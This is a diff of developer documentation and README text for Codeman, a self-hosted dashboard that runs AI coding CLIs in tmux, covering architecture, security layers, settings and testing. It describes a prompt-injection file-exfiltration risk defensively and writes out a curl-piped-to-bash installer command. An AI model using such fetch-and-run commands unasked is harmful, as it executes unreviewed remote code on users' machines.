+**External CLI modes (OpenCode, Codex, Gemini)**: `isExternalCliMode()` in `session.ts` gates Claude-specific behavior off (Ralph tracker, BashToolParser, token/CLI-info parsing, ❯-prompt readiness); these CLIs render their own TUIs, so readiness is output stabilization instead. All three **require tmux with no direct PTY fallback**, because secrets are injected via socket-scoped `tmux setenv` and never on the spawn command line. ⚠️ `run*()` in `session-ui.js` MUST unwrap the `{success,data}` envelope; reading the raw shape silently breaks the run. → [architecture-invariants#external-cli-modes-opencode-codex-gemini](docs/architecture-invariants.md#external-cli-modes-opencode-codex-gemini)
+
+**Run launch synchronization**: the Run entrypoint holds an in-flight lock and disables `#runBtn` for the whole launch (≥500ms), so a double click cannot create duplicate sessions with the same `w<n>-<case>` name. `_ensureCreatedSessionVisible()` runs before `selectSession()`, and `_onSessionCreated()` stays an idempotent upsert, so POST-first and SSE-first ordering both produce exactly one rendered tab. → [architecture-invariants#run-launch-synchronization](docs/architecture-invariants.md#run-launch-synchronization)
+
+**Unified session list**: `GET /api/sessions/unified` merges live sessions, persisted state, lifecycle-log history, and Claude transcript files into one deduped list (pure core in `src/services/unified-session-service.ts`). Transcript rows fold into their owning session via a `claudeSessionId → Codeman id` alias map, so resumed and `/clear`-respawned sessions do not appear twice. No terminal buffers in the response, unlike `/api/sessions`. Backs the Cmd+K Session Manager, plus pinning and cross-device tab order (`PUT /api/session-order`; pure merge helpers in `src/session-order.ts`, pushing device wins and server-only ids are never dropped). → [architecture-invariants#unified-session-list-and-session-manager](docs/architecture-invariants.md#unified-session-list-and-session-manager)
+
+**Hook events**: Claude Code hooks trigger via `/api/hook-event`. Key events: `permission_prompt`, `elicitation_dialog`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`. See `src/hooks-config.ts`; upstream hook semantics mirrored in `docs/claude-code-hooks-reference.md`.
 
 **Agent Teams**: `TeamWatcher` polls `~/.claude/teams/`, matches to sessions via `leadSessionId`. Teammates are in-process threads appearing as subagents. Enable: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`. See `docs/agent-teams/`.
 
-**Circuit breaker**: Prevents respawn thrashing. States: `CLOSED` → `HALF_OPEN` → `OPEN`. Reset: `/api/sessions/:id/ralph-circuit-breaker/reset`.
+**Circuit breakers**: the Ralph breaker prevents respawn thrashing (`CLOSED` → `HALF_OPEN` → `OPEN`; reset via `/api/sessions/:id/ralph-circuit-breaker/reset`). **Distinct: the PTY-exit breaker** (`session-pty-exit-breaker.ts`) trips after repeated rapid PTY exits and blocks auto-restarts. ⚠️ It resets ONLY via an explicit `{clearBreaker:true}` body on `POST /api/sessions/:id/interactive`; the frontend's auto-reattach in `selectSession()` sends no body and must never clear it. → [architecture-invariants#circuit-breakers-ralph--pty-exit](docs/architecture-invariants.md#circuit-breakers-ralph-and-pty-exit)
+
+**Full-scrollback replay**: `GET /api/sessions/:id/terminal?full=1` returns the entire tmux scrollback, bounded by the configured history limit. On success the capture is returned ALONE (`source='mux-full-history'`), superseding the byte buffer so nothing duplicates. Only the FIRST buffer load after a page load requests `full=1`; tab switches keep the cheap `?tail=` path. → [architecture-invariants#full-scrollback-replay](docs/architecture-invariants.md#full-scrollback-replay)
+
+**Self-update** (App Settings → Updates): in-app updater for git-clone installs supervised by systemd/launchd (`systemd`, `launchd`, `launchd-daemon`, else `none` → "restart manually"). The update restarts the very process running it, so the real work runs in a DETACHED `scripts/self-update.sh` that outlives the restart and writes progress to `update-status.json`, which the browser polls across the connection drop. `src/web/self-update.ts` splits pure helpers (unit-tested) from IO wrappers. npm installs report as non-updatable. → [architecture-invariants#self-update](docs/architecture-invariants.md#self-update)
+
+**Attachments** (live external document references; all wiring in `file-routes.ts`): a **registry** maps a stable `attachmentId` to a realpath-resolved, extension-allowlisted absolute path, so browser requests never carry arbitrary absolute paths. ⚠️ The **magic-link scanner** (`codeman://attach?...` in terminal output) is **prompt-injectable**, so its scan path is force-confined to the session workspace; a hostile prompt could otherwise exfiltrate arbitrary host files over SSE. The security gate is an extension **allowlist**, not a blocklist. `document-conversion-limiter.ts` caps converter spawns globally: without it, N large docs detected at once fork N multi-minute processes, which is a resource-exhaustion vector. → [architecture-invariants#attachments](docs/architecture-invariants.md#attachments)
+
+**Filesystem path picker** (Link Existing "Browse" + the mobile keyboard's `📁 Path` key): lazy one-directory browsing via `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` for the tapped file. Inserts the path **without** Enter, so the prompt is never submitted; the sibling `⌫ All` key clears only the unsent prompt and must never send the agent's `/clear`. ⚠️ This is a **second file-serving surface and inherits neither the attachment confinement nor its ownership scoping** — it allowlists Home, `CASES_DIR`, `/mnt/d` and `CODEMAN_FILE_PICKER_ROOTS`, blocks sensitive trees, and rejects symlink escapes **after** `realpath`. ⚠️ The optional `sessionId` is an ownership boundary that must be `canAccessOwned`-checked by hand (it does not go through `findSessionOrFail`), and in multi-user mode a non-admin gets only their own `userSpacePath` as a root: per-user spaces live INSIDE `homedir()`, so a `Home` root exposes every other user's workspace. Previews go through the same global conversion limiter, and Markdown/TXT/JSON are served as inert `text/plain`. → [architecture-invariants#filesystem-path-picker](docs/architecture-invariants.md#filesystem-path-picker)
+
+**Ultracode / workflow-run visualization** (opt-in, default OFF): the Workflow tool writes a completion artifact only at run *end*, so live in-flight runs exist solely as transcript dirs. `workflow-run-watcher.ts` therefore synthesizes ACTIVE runs from transcripts until the completion artifact appears and supersedes them. It is **STANDALONE** and deliberately never imports or touches `subagent-watcher.ts`, despite reading the same tree. Two independent toggles: `showUltracodeAgents` (docked panel) and `ultracodeFloatingWindows` (floating windows); the watcher starts if **either** is on. → [architecture-invariants#ultracode--workflow-run-visualization](docs/architecture-invariants.md#ultracode-and-workflow-run-visualization)
+
+**Cross-session search**: `GET /api/search` federates an in-memory search over session metadata, run-summary events, and attachment-history entries. The pure core `searchSources()` does substring matching with hard per-type caps: **no regex (so no ReDoS) and no filesystem reads (so no traversal)**. The server-private `externalPath` is never read. → [architecture-invariants#cross-session-search](docs/architecture-invariants.md#cross-session-search)
+
+**Web tabs** (dashboard URLs as tabs): a saved URL renders as a tab beside agent sessions. **NOT a sixth `SessionMode`** (no PTY, no tmux, no respawn), same reasoning that keeps Docker/remote-SSH as case overlays. Dashboards are **proxied through Codeman's own origin** by default, because a direct iframe fails three ways at once: prod is HTTPS so `http://` targets are blocked as mixed content, many dashboards send `X-Frame-Options: DENY`, and our own `default-src 'self'` CSP blocks cross-origin frames. Proxying leaves the prod CSP unchanged (`/webview/...` is `'self'`). ⚠️ The proxy is **NOT an API surface**: it authenticates on an in-memory capability in the path and is correspondingly exempt from the cookie + Origin checks; that exemption is fenced to safe methods and non-`/api` paths and is pinned by `test/webview-auth-exemption.test.ts`. ⚠️ Iframes omit `allow-same-origin` unless a dashboard is explicitly marked `trusted`, and `Authorization`/`codeman_session` are stripped upstream in **both** modes so `CODEMAN_PASSWORD` cannot leak. ⚠️ A sandboxed frame is **opaque-origin**, which breaks two things `curl` can never reproduce: its runtime-built root-absolute URLs escape `<base>` (fixed by an injected `runtimeUrlShim()`), and its same-host `fetch`/XHR are CORS-checked with `Origin: null` (fixed by `buildProxyCorsHeaders()` plus exempting the proxy from the global `OPTIONS`-204 short-circuit in `registerSecurityHeaders`). Both present as the dashboard's own "Failed to fetch" while the page renders fine. → [architecture-invariants#web-tabs](docs/architecture-invariants.md#web-tabs), `docs/web-tabs.md`
+
+**Multi-user mode** (opt-in `--multiuser` / `CODEMAN_MULTIUSER=1`, OFF by default): named users with scrypt-hashed passwords in `~/.codeman/users.json`. Gated everywhere by `isMultiUserMode()`; when OFF, behavior is byte-identical to single-user because every scoping helper short-circuits. ⚠️ **Not a security boundary at the agent layer**: every session still runs as the SAME OS account. This separates WORKSPACES; it does not sandbox users (Docker cases are the isolation story). Ownership threads through `Session.owner` and is enforced in `findSessionOrFail`, list endpoints, SSE routing (fail-closed), WS, search, and file-preview. → [architecture-invariants#multi-user-mode](docs/architecture-invariants.md#multi-user-mode), `docs/multi-user-plan.md`
+
+**Away digest**: `GET /api/away-digest` aggregates what happened while you were away from the lifecycle log, run-summary events, live sessions, token stats, and recent subagents. Pure aggregator in `web/away-digest.ts`. ⚠️ Returns `{success:true,digest}`, a legacy raw-ish shape consistent with the other raw GET handlers in `system-routes.ts`; frontend and tests read `.digest`. → [architecture-invariants#away-digest](docs/architecture-invariants.md#away-digest)
+
+**Ralph todo-config**: per-session `maxTodos` (FIFO-eviction cap, default 500 = `MAX_TODOS_PER_SESSION`) + `todoExpirationMinutes` (auto-expiry, default 60) set via `POST /api/sessions/:id/ralph-config` (`RalphConfigSchema`, both `.int().positive()`). Stored on the tracker (`setMaxTodos`/`setTodoExpirationMinutes`) and **persisted/read-back via `RalphTrackerState`** (surfaced in the `loopState` getter → `toState()` + SSE broadcast → modal `populateRalphForm`), mirroring how `maxIterations` round-trips. Claude-only (skipped by `isExternalCliMode`).
 
 **Port interfaces**: Routes declare dependencies via port interfaces (`src/web/ports/`). Routes use intersection types (e.g., `SessionPort & EventPort`).
 
 ### Frontend
 
-Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. Load order: `constants.js`(1) → `mobile-handlers.js`(2) → `voice-input.js`(3) → `notification-manager.js`(4) → `keyboard-accessory.js`(5) → `input-cjk.js`(5.5) → `app.js`(6) → `terminal-ui.js`(7) → `respawn-ui.js`(8) → `ralph-panel.js`(9) → `orchestrator-panel.js`(9.5) → `settings-ui.js`(10) → `panels-ui.js`(11) → `session-ui.js`(12) → `ralph-wizard.js`(13) → `api-client.js`(14) → `subagent-windows.js`(15). `input-cjk.js` handles CJK IME composition via an always-visible textarea below the terminal (`window.cjkActive` blocks xterm's onData).
+Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags.

-**Z-index layers**: subagent windows (1000), plan agents (1100), log viewers (2000), image popups (3000), local echo overlay (7).
+**Command palette + shortcut registry**: `Ctrl/Cmd/Alt+K` opens the session palette; shortcuts live in a rebindable registry (`DEFAULT_SHORTCUTS`/`getShortcutRegistry()`/`matchesShortcutEvent()` in app.js, overrides in `settings.shortcutOverrides`). ⚠️ Palette-chord keys must ALSO be swallowed in `attachCustomKeyEventHandler` (terminal-ui.js) or xterm writes the control byte (0x0B) into the PTY. ⚠️ `saveAppSettings()` rebuilds settings from the DOM, so keys edited elsewhere (`shortcutOverrides`, `showTokenCount`, `showCost`) need explicit `_prev` carry-over. → [architecture-invariants#command-palette-and-shortcut-registry](docs/architecture-invariants.md#command-palette-and-shortcut-registry)
+
+**Per-device vs synced settings**: the `displayKeys` set in settings-ui.js is a **client-side merge policy**, not a wire filter. A display key seeds from the server only when localStorage has no value for it, which is what prevents one device overwriting another; `showPlanUsageLimits` is additionally `delete`d from the incoming payload outright. Separately, `SettingsUpdateSchema` is `.strict()` and simply **does not declare** `skin`, `showFileViewerButton`, `showCronButton`, `webglRendererEnabled`, `localEchoEnabled`, `cjkInputEnabled`, or `extendedKeyboardBar`, so sending one of those is a validation error. The rest (`showResponseViewer`, `showPlanUsageLimits`, `language`, and most `show*` keys) ARE in the schema and do persist server-side; they are per-device by client policy only. ⚠️ Adding a new per-device setting means deciding **both** questions: membership in `displayKeys`, and presence in the schema.
+
+**Header button visibility**: most header controls are opt-in and hidden by a marker class (`btn-multimonitor--hidden`, `btn-response-viewer-header--hidden`, `btn-file-viewer--hidden`, `btn-cron--hidden`) that `applyHeaderVisibilitySettings()` (settings-ui.js) toggles after settings load; the multi-monitor button is instead stripped at render by `renderIndexHtml`. ⚠️ Hiding must go through the marker class: the base rules are `display:inline-flex !important`, so an inline style cannot override them. Current desktop default is WS/CPU/MEM + File Viewer + gear, with the token chip and lifecycle-log button OFF. ⚠️ New header controls must not leak onto phones; `test/mobile-header-buttons-policy.test.ts` is the static guard. → [architecture-invariants#header-button-visibility-multi-monitor-response-viewer-file-viewer-cron](docs/architecture-invariants.md#header-button-visibility-multi-monitor-response-viewer-file-viewer-cron)
+
+**Gesture control** (camera hand-tracking overlay, opt-in, default OFF): `CODEMAN_GESTURE=1` makes the feature *available*; `gestureControlEnabled` turns it on. The bundle is injected by `renderIndexHtml` only when enabled, which is why that method is `async` and reads settings with `readSettings(true)` (a fresh read: a post-save reload lands inside the 2s cache TTL and would otherwise render the pre-toggle state). **Source lives in `packages/gesture-control/`; edit there, run `npm run build:gesture`, and commit the regenerated bundle** because dev serves the committed bundle with no runtime bundler. The MediaPipe wasm + model are fetched separately and gitignored. ⚠️ Keep `MP_VERSION` in `fetch-gesture-assets.mjs` in sync with `@mediapipe/tasks-vision`. → [architecture-invariants#gesture-control-the-source-package](docs/architecture-invariants.md#gesture-control-the-source-package)
+
+**Theme skins / branding / i18n**: `skin` selects a palette via `data-skin` on `<html>`, applied by an **inline pre-paint script** in `index.html` reading `localStorage['codeman:skin']` to avoid a flash of wrong theme. ⚠️ A skin is **four things that must stay in sync**, and missing any one degrades silently: the `html[data-skin="…"]` token block in `styles.css`, the xterm ANSI palette in `terminal-ui.js`, the pre-paint allowlist, and the Settings picker (both in `index.html`). `test/skin-themes.test.ts` is the static guard. Light skins additionally need `color-scheme: light` and xterm `minimumContrastRatio: 4.5`, and `applyTerminalSkin()` must call the local-echo overlay's `refreshFont()` because it caches the terminal fg/bg. `displayName` changes user-facing browser branding only and must NEVER rename npm package, CLI, API, storage, CSS, or protocol identifiers. `language` (`en`/`zh-CN`) keeps English as the canonical source so live switching stays reversible. User display names flow through `textContent`/attribute APIs and the server title's HTML escaper, never `innerHTML`. → [architecture-invariants#theme-skins](docs/architecture-invariants.md#theme-skins)
+
+**Foldable settings identity**: responsive layout is width-driven via `MobileDetection.getDeviceType()`, but the localStorage namespace uses `MobileDetection.isHandheldDevice()` so an unfolded Android foldable keeps `codeman-app-settings-mobile`. ⚠️ Do not switch per-device settings namespaces from instantaneous viewport width: a posture-triggered WebView reload would lose opt-in UI. Regression profile: `OPPO Find N5 (unfolded)` in `test/mobile/devices.ts`. → [architecture-invariants#foldable-settings-identity](docs/architecture-invariants.md#foldable-settings-identity)
+
+**WebGL renderer toggle** (`webglRendererEnabled`, per-device): the GPU-stall watchdog's sticky `codeman-webgl-disabled` marker survives page loads and is cleared only by an explicit OFF→ON save or `?webgl=force`. `?nowebgl` forces the DOM renderer per-load. → [architecture-invariants#webgl-renderer-toggle](docs/architecture-invariants.md#webgl-renderer-toggle)
+
+**Phone toolbar: Enter replaces Shell** (post-1.8.0): inside `@media (max-width: 430px)` `btn-shell` is `display:none` and `btn-enter` takes its slot (`order: 4`); starting a shell moved into the Run dropdown (`Terminal / Shell` → `setRunMode('shell')` → `run()` → `runShell()`, button label "Run SH"). `runMode` is `z.string().max(20)` server-side, so new modes need no schema change. Desktop and tablet keep the green Run Shell button unchanged.
+
+⚠️ **`sendEnterKey()` MUST go through `terminal._core.coreService.triggerDataEvent('\r', true)`** — not `sendInput()`, and never a raw POST to `/api/sessions/:id/input`. `localEchoEnabled` defaults to `MobileDetection.isTouchDevice()`, so on every phone the characters you type are buffered in the `LocalEchoOverlay` and have **never reached the PTY**; the `onData` Enter branch in terminal-ui.js is what flushes `pendingText` first and only then sends `\r` (after an 80ms delay so text lands first). Sending a bare `\r` submits an empty line and strands the typed text on screen, so the button looks dead. Replaying the keypress reuses the overlay flush, the flushed-offset cleanup and the ordering instead of reimplementing them. `KeyboardAccessory.sendKey()` is for escape sequences (arrows/Esc) and is the WRONG template to copy for input.
+
+⚠️ **Skin overrides outrank plain class rules.** `styles.css` nests its skin block inside `html:not([data-skin="og"]) { … }`, so a bare `.btn-toolbar` rule in there resolves to specificity **(0,2,1)** and beats a `.btn-toolbar.btn-x` rule **(0,2,0)** in `mobile.css` regardless of load order. Toolbar-button colors set from mobile.css therefore need `!important` — that is why mobile.css leans on it so heavily. Symptom: only your `!important` properties land and everything else silently renders in generic toolbar grey.
+
+**Z-index layers**: subagent windows (1000), plan agents (1100), mobile/tablet fixed header (1200, `mobile.css`), modals on ≤768px (1300 — must beat the fixed header or the modal close button is buried), log viewers (2000), image popups (3000), local echo overlay (7).
 
 **Respawn presets**: `solo-work` (3s/60min), `subagent-workflow` (45s/240min), `team-lead` (90s/480min), `ralph-todo` (8s/480min), `overnight-autonomous` (10s/480min).
 
-**Keyboard shortcuts**: Escape (close), Ctrl+? (help), Ctrl+W (kill), Ctrl+Tab (next), Alt+1-9 (switch tab), Ctrl+Shift+{/} (move tab left/right), Shift+Enter (newline), Ctrl+L (clear), Ctrl+Shift+R (restore size), Ctrl+Shift+V (voice input), Ctrl/Cmd +/- (font).
+**Keyboard shortcuts**: Escape (close), Ctrl+? (shortcut overlay), Ctrl/Cmd/Alt+K (session palette), Ctrl+W (kill), Ctrl+Tab (next), Alt+[/] (prev/next tab), Alt+1-9 (switch tab), Ctrl+Shift+{/} (move tab left/right), Shift+Enter or Ctrl+Enter (newline), Ctrl+L (clear), Ctrl+Shift+R (restore size), Ctrl+Shift+V (voice input), Ctrl/Cmd +/- (font), Shift+Wheel (local scrollback when mouse passthrough is active). Rebindable via the registry.
 
 ### Security
 
-| Layer | Details |
-|-------|---------|
-| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD` env vars |
-| **QR Auth** | Single-use 6-char tokens (60s TTL) for tunnel login. See `docs/qr-auth-plan.md` |
-| **Sessions** | 24h cookie (`codeman_session`), auto-extend, device context audit |
-| **Rate limit** | 10 failed auth/IP → 429 (15min decay). QR has separate limiter |
-| **Hook bypass** | `/api/hook-event` exempt from auth (localhost-only, schema-validated) |
-| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks) |
-| **Validation** | Zod schemas, path allowlist regex, `CLAUDE_CODE_*` env prefix allowlist |
-| **Headers** | CORS localhost-only, CSP, X-Frame-Options, HSTS if HTTPS |

+| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Auth**          | Optional HTTP Basic via `CODEMAN_USERNAME` (default `admin`) / `CODEMAN_PASSWORD`. Active only when `CODEMAN_PASSWORD` is set (`middleware/auth.ts`)                                                        |
+| **Network bind**  | Defaults to loopback. Non-loopback without a password starts but warns loudly. Classifier: `network-auth-policy.ts`                                                                                          |
+| **Host guard**    | Always-on Host-header allowlist blocking DNS rebinding. ⚠️ **Custom reverse-proxy domains are rejected** unless added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`                                              |
+| **CSRF / Origin** | Always-on cross-site Origin guard on state-changing requests. **A missing Origin is allowed** so curl/CLI and hooks keep working. ⚠️ The body parser keeps `text/plain` RAW; auto-JSON-parsing it enabled simple-request CSRF |
+| **QR Auth**       | Single-use 6-char tokens (60s TTL) for tunnel login. See `docs/qr-auth-plan.md`                                                                                                                              |
+| **Sessions**      | 24h cookie (`codeman_session`), auto-extend, device context audit                                                                                                                                           |
+| **Rate limit**    | 10 failed auth/IP → 429 (15min decay). QR and hook-secret have separate buckets, so neither can lock out login                                                                                              |
+| **Hook bypass**   | `/api/hook-event` + `/api/status-telemetry` skip Basic auth (localhost-only, schema-validated), but when auth is active the loopback bypass requires `X-Codeman-Hook-Secret` **unconditionally** (Codeman cannot detect a user's own loopback reverse proxy) |
+| **Tunnel**        | Enabling a tunnel **refuses** without `CODEMAN_PASSWORD` unless exposure is acknowledged via `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` or the per-request `acknowledgeUnauthTunnel:true` action field (never persisted) |
+| **Validation**    | Zod schemas, Unicode-aware path allowlist regex, env prefix allowlist (`CLAUDE_CODE_*`/`OPENCODE_*`/`CODEX_*`/`GEMINI_*`/`GOOGLE_*`)                                                                        |

+
+**Security-relevant env vars**: `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks), `CODEMAN_ALLOWED_HOSTS` (extra Host/Origin allowlist entries for reverse proxies; bare `.suffix` matches subdomains), `CODEMAN_DOCKER_BRIDGE_HOOKS=1` (opt-in hooks-only listener on the docker bridge gateway).
 
 ### SSE Event Registry
 
-~120 event types in `src/web/sse-events.ts` (backend) and `SSE_EVENTS` in `constants.js` (frontend). Both must be kept in sync.
+149 event constants in `src/web/sse-events.ts` (backend) and `SSE_EVENTS` in `constants.js` (frontend). **Both must be kept in sync** — they are currently exactly in sync, and the backend file's `@fileoverview` carries the per-category breakdown.
 
 ### API Routes
 
-~128 handlers across 15 route files in `src/web/routes/`: system (36), sessions (27), orchestrator (10), cases (9), ralph (9), plan (8), respawn (7), files (5), mux (5), push (4), scheduled (4), teams (2), hooks (1), clipboard (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
+~199 handlers across 21 route files in `src/web/routes/`: system (45), sessions (32), cases (27), files (16), orchestrator (10), ralph (9), cron (9), admin (8), plan (8), respawn (7), webviews (6 + the `/webview/:cap/*` proxy), mux (5), push (4), scheduled (4, legacy `ScheduledRun`), me (2), teams (2), search (1), hooks (1), clipboard (1), status-telemetry (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
+
+**HTTP contract** (stable since 0.9.x, see `docs/versioning-policy.md`; full envelope/status/error-code/SSE spec in `docs/api-reference.md`): responses use the `ApiResponse<T>` envelope — `{ success: true, data? }` or `{ success: false, error, errorCode }` (`src/types/api.ts`). `/api/v1/*` is a versioned alias of `/api/*` (URL rewrite in `server.ts`).
 
 ## Adding Features
 
-- **API endpoint**: Types in `src/types/` domain file, route in `src/web/routes/*-routes.ts`, use `createErrorResponse()`. Validate with Zod schemas in `schemas.ts`.
+- **API endpoint**: Types in `src/types/` domain file, route in `src/web/routes/*-routes.ts`. Return the `ApiResponse` envelope (`{ success: true, data }`; errors via `createErrorResponse()` with proper status code). Validate with Zod schemas in `schemas.ts`.
 - **SSE event**: Add to `src/web/sse-events.ts` + `SSE_EVENTS` in `constants.js`, emit via `broadcast()`, handle in `app.js` (`addListener(`)
 - **Session setting**: Add to `SessionState`, include in `session.toState()`, call `persistSessionState()`
+- **App setting**: decide per-device vs synced first. Per-device keys go in the `displayKeys` set in settings-ui.js and must NOT be added to `SettingsUpdateSchema` (it is `.strict()`). ⚠️ Anything in `PUT /api/settings` that acts on a setting (the `toggleService` watcher calls) must resolve from **`merged`** (persisted + incoming), never from the raw request body: a partial PUT omits keys it doesn't intend to change, and `body.x ?? default` turns every omission into "apply the default" and silently resets live services. Pinned by `test/routes/system-routes-settings-partial-put.test.ts`.
 - **Hook event**: Add to `HookEventType`, add hook in `hooks-config.ts:generateHooksConfig()`, update `HookEventSchema`
-- **Mobile feature**: Add to relevant singleton, guard with `MobileDetection.isMobile()`
+- **Mobile feature**: Add to relevant singleton, guard with `MobileDetection.isMobile()`. New header buttons must stay off phones (`test/mobile-header-buttons-policy.test.ts`).
 - **New test**: Pick unique port (search `const PORT =`). Route tests use `app.inject()` (no port needed) — see `test/routes/_route-test-utils.ts`.
 
 **Validation**: Zod v4 (different API from v3). Define schemas in `schemas.ts`, use `.parse()`/`.safeParse()`.

Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
+
+**Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
 
 ## Testing
 
-**CRITICAL: You are running inside a Codeman-managed tmux session.** Never run `npx vitest run` (full suite) — it spawns/kills tmux sessions and will crash your own session. Only run individual files:
+**Never run the bare full suite** (`npm test` with no file argument): the default config includes the browser-driven suites (`test/mobile/**` and 3 other Playwright tests), which need a live server + chromium + environment-specific PNG baselines and will fail/hang locally. Run individual files, or `test:ci` for a broad sweep:
 
 ```bash
 npm test -- test/<specific-file>.test.ts         # Single file (SAFE, uses config/vitest.config.ts)
 npm test -- -t "pattern"                          # By name (SAFE)
-# npm test                                        # DANGEROUS — runs full suite, DON'T DO THIS
+npm run test:ci                                   # Everything except browser/perf suites — what CI runs
+# npm test                                        # DON'T — includes browser/visual suites
 ```
 
 Raw `npx vitest` skips `config/vitest.config.ts`; always use `npm test --` or pass `--config config/vitest.config.ts`.
 
-**Config**: Vitest with `globals: true`, `fileParallelism: false`. Timeout 30s, teardown 60s.
+**Config**: Vitest with `globals: true`, `fileParallelism: false`. Timeout 30s, teardown 60s. `config/vitest.ci.config.ts` = same minus the browser/perf excludes — keep the two configs in sync when changing shared options.
 
-**Safety**: `test/setup.ts` snapshots pre-existing tmux sessions and never kills them. Only `registerTestTmuxSession()` sessions get cleaned up.
+**Tmux safety**: under vitest (`VITEST` env var, set automatically), `TmuxManager` no-ops ALL shell commands and becomes a pure in-memory mock — tests physically cannot create/kill/attach real tmux sessions (`IS_TEST_MODE` in `src/tmux-manager.ts`). Every docker IO path is no-op'd the same way. `Session` is test-gated too: instead of attaching a real tmux client, it spawns a raw-mode echo PTY (`TEST_PTY_SCRIPT` in `src/session.ts`), so integration tests get a live input/output loop that echoes each byte exactly once. `test/setup.ts` gives every test file a temporary `HOME`/`USERPROFILE` (all `homedir()`-derived state, `~/.codeman` and `~/codeman-cases` included, resolves into a per-file fixture; the Playwright browser cache path is preserved), and additionally strips `CODEMAN_PASSWORD`/`CODEMAN_USERNAME` (so auth state from the running instance can't leak into tests) and `CODEMAN_GESTURE` (a shell-exported gesture flag would flip render-injection assertions). ⚠️ Raw `npx vitest` without `--config` skips `setup.ts` and with it the temp-HOME isolation.
 
-**Ports**: Pick unique ports manually. Search `const PORT =` before adding new tests.
+**Ports**: Pick unique ports manually, 3150+. Search `const PORT =` before adding new tests. Never 3000 (the live instance).
 
-**Respawn tests**: Use `MockSession` from `test/respawn-test-utils.ts`. **Route tests**: `app.inject()` in `test/routes/`. **Mobile tests**: Playwright suite in `test/mobile/` (135 device profiles).
+⚠️ **Browser tests can pass vacuously on mobile input paths.** Two traps, both hit on 2026-07-27 while fixing the phone Enter button: **(1)** driving input with `app.sendInput('…')` writes PAST the `LocalEchoOverlay`, so `pendingText` stays empty and any overlay bug is invisible — type with `page.keyboard.type()` instead; **(2)** headless Chromium reports `MobileDetection.isTouchDevice()` **false even with `hasTouch: true`**, so `_localEchoEnabled` is off and the local-echo branch never executes. Force it (`app._localEchoEnabled = true`) or the test proves nothing. Assert on real state (`app._localEchoOverlay.pendingText`, plus `tmux -L codeman capture-pane -p -t <pane>` for what actually reached the PTY), not on HTTP 200.
+
+**Testing against the live instance**: prod is HTTPS-only on :3000 (`curl -sk https://localhost:3000/...`). ⚠️ `w1`/`w2`/`w3` are the user's REAL sessions — never send input to them. Create your own throwaway session (`POST /api/sessions` then `POST /api/sessions/:id/shell`; creation alone leaves `pid: null` and no pane), test against that, and `DELETE` it by exact id when done.
+
+**Respawn tests**: Use `MockSession` from `test/mocks/index.ts` (defined in `test/mocks/mock-session.ts`). **Route tests**: `app.inject({ method, url, payload })` in `test/routes/` — no live port needed. **Mobile tests**: Playwright suite in `test/mobile/` (136 device profiles).

+Two constraints worth knowing before you touch them: the env-derived PTY buffer trim is **clamped to ≤75% of max**, because a trim ≥ max would disable `BufferAccumulator` trimming entirely and make memory unbounded; and browser xterm scrollback is a **separate hardcoded 50k** (`DEFAULT_SCROLLBACK` in constants.js), deliberately lower than tmux's 100k history because 100k per tab is a mobile-memory hazard.

+**`install.sh`** (repo root, 69KB) is the public entry point: `curl -fsSL <raw url> | bash` installs Node/tmux if missing, clones to `~/.codeman/app`, builds, and offers a systemd/launchd service. It prompts for the network binding (LAN default + password prompt) and preserves the existing binding on re-runs via `read_existing_binding()`. `install.sh update` and `install.sh uninstall` also exist; `CODEMAN_NONINTERACTIVE=1` approves system changes for automation.
+
+Other key scripts: `scripts/tmux-manager.sh` (safe tmux mgmt), `scripts/tunnel.sh [quick|named] start|stop|status|url` (quick = random trycloudflare URL, default; `named setup|enable` = fixed-hostname tunnel via `scripts/codeman-tunnel-named.service`; bare `start|stop|url` still means quick), `scripts/run-beta.sh` (isolated beta instance), `scripts/build-agent-image.mjs` (docker base image), `scripts/self-update.sh` (detached updater).

+**Codeman** is a self-hosted mission control for AI coding agents. It spawns Claude Code, OpenCode, Codex, or Gemini CLI inside persistent tmux sessions, streams the real terminal to any browser, and keeps agents productive after you walk away: it re-prompts on idle, resumes when a usage limit resets, runs scheduled jobs, and shows every background agent working in real time.
+
+Get started in one line (macOS & Linux, Windows via WSL):
+
+```bash
+curl -fsSL https://getcodeman.com/install | bash
+```
+
+```bash
+codeman web
+# Open http://localhost:3000 and start your first session
+```
+
+The installer asks before every system change, and re-running the same line updates in place. Full details: [Quick Start - Installation](#quick-start---installation).
+
+- **One dashboard, four CLIs** - run [Claude Code, OpenCode, Codex, or Gemini](#more-features) per session (plus plain shell), locally, [in Docker](#isolated-docker-sessions), or [over SSH](#remote-ssh-sessions)
+- **Truly phone-friendly** - a [touch-optimized terminal](#mobile-optimized-web-ui) with instant local echo, QR login, swipe navigation, and push notifications
+- **Runs while you sleep** - [idle detection + respawn cycling](#respawn-controller) and auto-resume when a subscription limit resets, for 24+ hour unattended runs
+- **See your agents think** - [live floating windows](#live-agent-visualization) for every subagent and teammate, with real-time transcripts
+- **Nothing gets lost** - tmux persistence across restarts and network drops, exactly-once input delivery, full-scrollback replay
+- **Self-hosted and private** - loopback-only by default, MIT licensed, no telemetry, runs entirely on your machine

-You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code) or [OpenCode](https://opencode.ai) (or both). After install:
